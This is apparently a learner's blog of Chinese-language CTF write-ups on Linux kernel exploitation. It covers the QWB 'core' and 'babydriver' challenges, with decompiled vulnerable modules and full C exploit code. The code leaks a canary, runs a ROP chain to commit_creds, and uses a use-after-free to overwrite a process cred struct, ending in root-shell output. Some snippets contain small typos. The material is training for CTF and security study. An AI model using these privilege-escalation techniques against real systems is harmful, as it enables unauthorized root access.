/proc/kallsyms:开发者为了方便调试内核代码,将内核中的所有函数和非栈变量的地址抽取出来,形成一个符号表(符号对应地址),kallsyms就能查看这个符号表,cat /proc/kallsyms > /tmp/kallsyms就是把/proc/kallsyms保存到tmp/kallsyms中去.

ktr_restrict&dmesg_restrict:这个文件控制是否可以打印内核地址,当他等于0的时候是可以直接通过kallsyms直接打印地址,当等于1的时候就不能能直接打印了。dmesg_restrict文件能够控制dmesg命令能否直接打印内核缓存区的值,当他为1的时候dmesg就不能直接打印。两个命令的组合拳导致无法直接/proc/kallsyms查看内核地址,但是没有禁止/tmp/kallsyms。

poweroff -d 120 -f &:这是定时关机的命令,直接注释掉

通过init文件的查看可以锁定core.ko,通过checksec查看保护

1
2
3
4
5
6
[*] '/home/rootzhang/kernelstudy/pwn2/give_to_player/rootfs/core.cpio/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

对昨天关于内核保护和用户态保护有个初步的猜想,.ko文件估计两个保护都有,可见有canary保护和nx.

.ko文件分析

init_module

1
2
3
4
5
6
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}

这个函数是模块被加载到内核的执行的,proc_create函数的作用是在proc文件夹在产生一个虚拟的文件core,用户态就可以利用这个文件和模块通信了。

core_ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 1719109787:
core_read(a3);
break;
case 1719109788:
printk(&unk_2CD);
off = a3;
break;
case 1719109786:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}

设置了三条命令,分别是core_read(),设置全局变量off(我的判断:不是栈空间的变量就是全局变量),和core_copy_func().

core_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]

v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}

把从&v5[off]开始拷贝64个字节到用户态。off我们可控,那就代表着泄露敏感信息。__asm { swapgs }这个是切换用户态和内核态的指令。

core_copy_func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}

把全局变量name拷贝a1个字节到v2,a1可以整数溢出,所以可以栈溢出了。

core_write

1
2
3
4
5
6
7
8
9
10
11
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx

v3 = a3;
printk("\x016core: called core_writen");
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
return (unsigned int)v3;
printk("\x016core: error copying data from userspacen");
return 0xFFFFFFF2LL;
}

可以向name copy很多的字节

漏洞利用

思路:先设置off的值,然后通过core_read()函数leak出canary,然后通过core_write函数向name写rop,然后通过coe_copy_func函数把rop给copy到栈上执行rop。

这是我的大致思路(完全借鉴),至于rop怎么构造怎么提权,怎么返回用户态执行system(‘/bin/sh’)函数都还大致不清楚,等我慢慢钻研。

这是我复刻的脚本,和wiki上的查重率应该能超过百分之70,但好在是自己一个一个字符敲的,在写(抄)的过程中也知道很理解了很多东西,也不得不感叹c语言的强大(指针和内存控制)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void usr_shell(){
if(getuid()==0){
printf("[*]----getshell ok");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
exit(0);
}

size_t commit_creds=0;
size_t prepare_kernel_cred=0;
size_t raw_vmlinux_base=0xffffffff81000000;
size_t vmlinux_base=0;
size_t find_symbols(){
FILE* kallsyms_fd=fopen("/tmp/kallsyms","r");
if(kallsyms_fd<0){
puts("[*]opne kallsyms error");
exit(0);
}
char buf[0x30]={0};
while (fgets(buf,0x30,kallsyms_fd))
{
if(commit_creds&prepare_kernel_cred){
return 0;
}
if(strstr(buf,"commit_creds")&&!commit_creds){
char hex[20]={0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&commit_creds);
printf("commit_creds_addr:%p\n",commit_creds);
vmlinux_base=commit_creds-0x9c8e0;
printf("vmlinux_base_addr:%p",vmlinux_base);

}
if(strstr(buf,"prepare_kernel_cred")&&!prepare_kernel_cred){
char hex[20]={0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&prepare_kernel_cred);
printf("prepare_kernel_cred_addr:%p\n",prepare_kernel_cred);
vmlinux_base=prepare_kernel_cred-0x9cce0;


}
}
if(!(prepare_kernel_cred&commit_creds)){
puts("[*]addr error");
exit(0);
}
}
size_t user_cs,user_ss,user_rflags,user_sp;
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}
void set_off(int fd,long long idx){
printf("[*]set off to %ld\n",idx);
ioctl(fd,0x6677889c,idx);
}
void core_read(int fd,char *buf){
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd,long long size){
printf("[*]copy from user with size :%ld\n",size);
ioctl(fd, 0x6677889A, size);
}

int main(){
save_status();
int fd=open("/proc/core",2);
if(fd<0){
puts("[*]open core error");
exit(0);
}
find_symbols();
ssize_t offset=vmlinux_base-raw_vmlinux_base;
set_off(fd,0x40);
char buf[0x40]={0};
core_read(fd,buf);
size_t canary=((size_t *)buf)[0];
printf("[*]canary: %p\n",canary);
size_t rop[0x1000]={0};
int i;
for(i=0;i<10;i++){
rop[i]=canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)usr_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd,rop,0x800);
core_copy_func(fd,0xffffffffffff0000 | (0x100));
}

脚本中有很多东西值得思考学习。

asm

这是c语言的内联汇编代码关键字,通过他可以在c语言内执行汇编代码,比如上面这个函数

1
2
3
4
5
6
7
8
9
10
11
size_t user_cs,user_ss,user_rflags,user_sp;
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}

然后在main函数内调用savestatus函数就能执行这段汇编代码了。不过要注意在编译的时候得加上-masm=intel.我百度了一下发现他们用内联汇编都是__asm{},像脚本里这样写还是不多,然后他们使用汇编对程序的变量赋值都是采用占位符的方式,脚本里也直接用变量名了,可能是什么另类的方式😃,这段汇编的作用就是记录用户态的信息,等会rop返回用户态的时候用。

find_symbols

通过这个函数打开tmp/kallsyms文件,这个文件记录着内核态的所有符号信息以及对应的地址,当使用命令行打开这个文件是这样的(我随便截的)

1
2
3
4
5
6
7
ffffffff866dcbf0 t qdisc_lookup_default
ffffffff866dcc40 T __qdisc_calculate_pkt_len
ffffffff866dcca0 t stab_kfree_rcu
ffffffff866dccb0 T qdisc_watchdog_init
ffffffff866dcce0 t qdisc_watchdog
ffffffff866dcd00 T qdisc_watchdog_cancel
ffffffff866dcd10 T qdisc_class_hash_destroy

在脚本里是0x30字符读一次,我他脚本里读的东西输出试试

1
2
3
4
ffffffffb6499720 T func_ptr_is_kernel_text

ffffffffb6499770 t param_array_free

是这种输出形式的,应该是每一列都是0x30个字符,所以读的时候fgets(buf,0x30,kakksyms_fd)刚好是读一列,然后查看每一列是否包含commit_credsprepare_kernel_cred字符串,如果有的话就把前面的地址读出来。

计算地址

计算地址的方式也和用户态不一样,看脚本的时候没看懂,慢慢敲的时候才想明白,在用户态我们一般是求出基地址然后加上偏移量确定地址,求出偏移量的方式类似libc.sym['__malloc_hook'](可能libc的逻辑基地址就是0),但使用elf.sym[]求内核某一符号的地址,得到的不是偏移量而是逻辑地址,比如下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Python 2.7.12 (default, Mar  1 2021, 11:38:31) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> vmlinux=ELF("./vmlinux")
[*] '/home/rootzhang/kernelstudy/pwn2/give_to_player/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym["commit_creds"])
'0xffffffff8107fc8d'

所以要算出偏移量的话还得减去vmlinux的逻辑基地址

1
2
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'

在利用kallsyms得到commit_creds基地址后减去'0x9c8e0'就是真实的虚拟基地址了,脚本中的0ffset不是gadget的偏移量,而是逻辑基地址和虚拟基地址的差值,再加上gadget的逻辑地址就是这个gadget的虚拟地址了。

寻找gadget的方法如下

1
2
3
4
#把汇编提取出来然后在gadget里面搜索
objdump -d vmlinux > gadget
#我不知道怎么高效搜索,我是这样搜的,搜出来一大堆东西,目前只能肉眼去找
grep -E "pop|ret" ./gadget

返回用户态

前面都是小兵,处理完小兵后该屠大龙了。

之前有稍微介绍过如何状态切换,总结起来就是两个指令,一个是swapgs,一个是iretq

首先介绍几个重要寄存器

1
2
3
4
5
6
cs是代码段寄存器
ds是数据段寄存器
ss是堆栈段寄存器
es是扩展段寄存器
fs是标志段寄存器
gs是全局段寄存器

swapgs:这个指令是切换GS寄存器的值,内核态或者用户态的GS寄存器的值储存在某个地方,如果要切换的话,就和这个值进行交换。

iretq:恢复到用户控件继续执行。如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等),执行iretq的时候会自动pop出四个值,分别是user_cs,user_rflags,user_sp,user_ss

所以恢复到用户态并执行system(“/bin/sh”)的rop这样构造

1
2
3
4
5
6
7
8
9
10
11
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

其中后面pop的值是我们前面通过内联汇编找到的

1
2
3
4
5
6
7
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);

其中pushf就是push状态标志寄存器的值也就是rflags,然后pop接收。

开始调试

调试过程就省略了,不过我终于搞明白这个rop最难理解的地方了,原来call会先把一个地址压栈然后才去执行地址,所以的pop rcx.扫噶,不过有一说一调试内核gdb运行的真的慢。

总结

今天了解到了很多知识,感觉还不错,哦对最近写知识总结的时候总喜欢听着一首写

1
2
3
列车粗糙而过
叫醒我频频失神
---我会在每个有意义的时辰

kernelpwn入门

babydriver

这是ctfwiki上面的第一道例题,首先下载附件,漏洞一般出现在.ko上,.ko文件的装载又在文件系统的init文件中,所以第一步解包文件系统。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mkdir rootfs 
mv rootfs.cpio ./rootfs/
cd rootfs
cpio -idmv < rootfs.cpio
cat init
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

发现了可装载模块babydriver.ko,阅读其他wp的时候发现他们还会用checksec查看.ko文件的保护,这块我不能理解,按照逻辑来说,它装载到了内核,应该和内核共享一套保护措施了,为啥还要检查他用户态的保护措施(?),除了看到了.ko文件,还发现他对flag文件进行了权限限制chown root:root flagchmod 400 flag

Linux/Unix 的文件调用权限分为三级 : 文件所有者(Owner)、用户组(Group)、其它用户(Other Users),文件所有者就是创建这个文件的人。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 数字权限是基于二进制数字系统而创建的,读(read,r)的值是4,写(write,w)的值是2,执行(execute,x)的值是1,没有授权的值是0。这种模式下,权限组合变成简单的加分运算。于是,在ls -l命令表示的数字权限对应关系是:
0 ---
1 --x
2 -w-
3 -wx
4 r--
5 r-x
6 rw-
7 rwx
虽然可以设置各式各样的权限,但常用的权限只有几种。它们的含义是:
400 -r-------- 拥有者能够读,其他任何人不能进行任何操作;
644 -rw-r--r-- 拥有者都能够读,但只有拥有者可以编辑;
660 -rw-rw---- 拥有者和组用户都可读和写,其他人不能进行任何操作;
664 -rw-rw-r-- 所有人都可读,但只有拥有者和组用户可编辑;
700 -rwx------ 拥有者能够读、写和执行,其他用户不能任何操作;
744 -rwxr--r-- 所有人都能读,但只有拥有者才能编辑和执行;
755 -rwxr-xr-x 所有人都能读和执行,但只有拥有者才能编辑;
777 -rwxrwxrwx 所有人都能读、写和执行(该设置通常不是好想法)。

综上所述,第一条指令就是把flag文件的文件所有者改成了root用户,然后第二条指令的作用是只有文件所有者才能读flag文件,即root用户才能读这个文件。

所以要读这个flag文件就得通过.ko文件进行提权。

通过ida对.ko文件进行静态分析

shitf+f9发现很多结构体,通过别人的wp对这些结构体有了初步的认识,其中’file_operations’结构体算是解决了我的一个困惑,我之前不明白为什么在程序中调用ioctl就能调用设备的babyioctl函数了,原来程序在init的时候会进行类似重定向的操作,这个.ko就在cdev_init(&cdev_0, &fops)中进行,最后的重定向表是这个样子的

1
2
3
4
5
6
通过对比可以知道对设备文件的操作会通过如下函数进行处理(注意这里IDA显示的有些问题,release其实对应的是babyrelease):
* open: babyopen
* read: babyread
* write: babywrite
* ioctl: babyioctl
* release: babyrelease

这个是别人的wp搬用的,我现在只知道会有重定向的操作,但无法具体分析出重定向表。

第二个需要注意的是babydevice_t结构体,这个结构体在之后的漏洞利用中起关键作用。

1
2
3
4
5
6
7
00000000 babydevice_t    struc ; (sizeof=0x10, align=0x8, copyof_429)
00000000 ; XREF: .bss:babydev_struct/r
00000000 device_buf dq ? ; XREF: babyrelease+6/r
00000000 ; babyopen+26/w ... ; offset
00000008 device_buf_len dq ? ; XREF: babyopen+2D/w
00000008 ; babyioctl+3C/w ...
00000010 babydevice_t ends

下面对文件的每个函数具体分析

babyopen

1
2
3
4
5
6
7
8
9
10
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 37748928LL, v2);
return 0;
}

这个函数对应open函数,在每次通过open函数打开设备的时候就会调用这个函数,函数的主要逻辑就是用kmalloc申请一个64字节的堆,然后把堆地址储存在babaydevice_t.buf上,然后把长度储存在babydevice_t.buf_len上面

babyread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}

对应read函数,函数的逻辑是查看babydevice是否有值,如果有的话那长度和传进来的v4进行比较,如果大于的话就把babydevice_t.buf的值拷贝到buffer,这个buffer就是我们传递的参数。

babywrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user(babydev_struct.device_buf, (void *)buffer, (void *)v4);
result = v6;
}
return result;
}

对应write函数,奇怪我的ida反编译出的代码和别人的不一样,函数的逻辑就是检查要拷贝的长度是否小于babydevice_t.len_buf,如果小于的话就把buffer的值传递给babydevice_t.buf

babyioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx
__int64 result; // rax

_fentry__(filp, command);
v4 = v3;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 37748928LL, v5);
result = 0LL;
}
else
{
printk(&unk_2EB, v3, v3);
result = -22LL;
}
return result;
}

对应ioctl函数,如果传进来的参数command等于0x10001,那就kfree掉babydevice.buf,然后再申请一个堆,堆的大小是传进来的参数,也就是说我们能够控制,再把堆的大小赋值给babydevice.buf_len

babyrelease

1
2
3
4
5
6
7
8
9
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp, v2);
return 0;
}

对应close函数,逻辑就是kfree掉babydevice.buf

漏洞利用

babydevice_t是全局变量,所有打开这个设备的进程都会共享这个变量,至于原因我刚开始以为是多线程共享变量之类的,之后在查阅资料中说是所有进程内核态的变量都指向同一片物理内存,有点道理,但不知道说的对不对就是了。

漏洞出在了bayrelease函数上,当kfree掉一个堆后没有清理指针,如果两次打开设备,把第一个设备babyrelease掉,此时第二个设备的babydevice_t.buf就储存着刚才free掉的堆的地址,构成了ufa.

浏览别人的wp发现是这样利用这个ufa的,由于这个内核版本过低,所以管理进程权限的cred结构体的申请和一般堆的申请相同,而且这个版本的cred结构体的大小是0xa8,那就可以打开两次设备,然后用第一个设备再ioctl一个0xa8的堆块,然后再babyrelease,这个第二个堆块的babydevice_t.buf就记录着0xa8的free的堆的地址,然后我们再fork()一个子进程,申请到储存这个子进程的cred的堆就是我们刚才free掉的堆,我们就可以利用第二个设备对这个子进程的cred进行改写了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main(){
int fd1=open('/dev/babydev',2);
int fd2=open('/dev/babydev',2);
inctl(fd1,0x10001,0xa8);
close(fd1);
int pid=fork();
if(pid<0){
puts("fork fail");
exit(0);
}else if(pid==0){
char zeros[30]={0};
write(fd2,zeros,28);
if(getuid()==0){
puts("ok");
system("/bin/sh");
exit(0);
}
}else{
wait(0);
}
close(fd2);
}

由于是第一次写kerenlpwn的脚本,所以几乎全部都参考了别人的代码,这份代码中有几处我之前没听说过的地方,下面记录一下

fork函数

这是一个父进程产生一个子进程的函数,当一个父进程调用fork()函数的时候实际上最后fork函数被调用了两次,在父函数中调用fork函数时会创建一个子进程并返回子进程的id,在子进程中也会有fork函数,他也会调用,不过这时候就不会返回一个新的子进程不然就死循环了,他会返回0,所以上面的代码中执行system(“/bin/sh”)的实际上是子进程,不是父进程。

getuid

获得cred结构体中uid的值,这个值决定着这个进程的权限,当uid为0的时候代表这个进程是root权限。

权限修改

cred结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

当把cred的uid~fsgid全部覆盖为0的话对应进程就提升为root

提权过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#编译exp
gcc exp.c -static -o exp
#打包文件系统
find . | cpio -o --format=newc > ../rootfs.cpio
#加载内核
./boot.sh
#执行exp
exp exp.c
~ $ ./exp
[ 13.823599] device open
[ 13.825222] device open
[ 13.826817] alloc done
[ 13.828409] device release
ok
/home/ctf # id
uid=0(root) gid=0(root) groups=1000(ctf)

可见已经提权至root.

内核调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#解压bzTmage得到vmlinux
/usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux bzImage > vmlinux
#vmlinux是没有压缩的内核镜像,里面可能含有符号表,也可以用来搜索gadget,这道题暂时用不到vmlinux

#在boot.sh中添加-gdb tcp::1234 我的虚拟机不能在后面加-S,不然抓不到程序,搜了一下好像是gdb和gdbserver版本不匹配的问题。
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -gdb tcp::1234

#先运行启动脚本,再使用gdb ./vmlinux启动gdb,并连接到qemu
target remote localhost:1234
#加入ko文件的符号表,类似这样的命令add-symbol-file core.ko textaddr
pwndbg> add-symbol-file babydriver.ko 0xffffffffc0000000
add symbol table from file "babydriver.ko" at
.text_addr = 0xffffffffc0000000
Reading symbols from babydriver.ko...done.

#然后就可以调试了
pwndbg> b babyopen
► 0xffffffffc0000030 <babyopen> nop dword ptr [rax + rax]
0xffffffffc0000035 <babyopen+5> push rbp
0xffffffffc0000036 <babyopen+6> mov rdi, qword ptr [rip - 0x3de3bc0d]
0xffffffffc000003d <babyopen+13> mov edx, init_module+28 <64>
0xffffffffc0000042 <babyopen+18> mov esi, 0x24000c0
0xffffffffc0000047 <babyopen+23> mov rbp, rsp
0xffffffffc000004a <babyopen+26> call 0xffffffff811ea180 <0xffffffff811ea180>

0xffffffffc000004f <babyopen+31> mov rdi, -0x3fffefcc
0xffffffffc0000056 <babyopen+38> mov qword ptr [rip + 0x2473], rax
0xffffffffc000005d <babyopen+45> mov qword ptr [rip + 0x2470], init_module+28 <64>
0xffffffffc0000068 <babyopen+56> call 0xffffffff8118b077

总结

学到了很多东西,解决了kernelpwn的第一道题(也是最简单的一道)。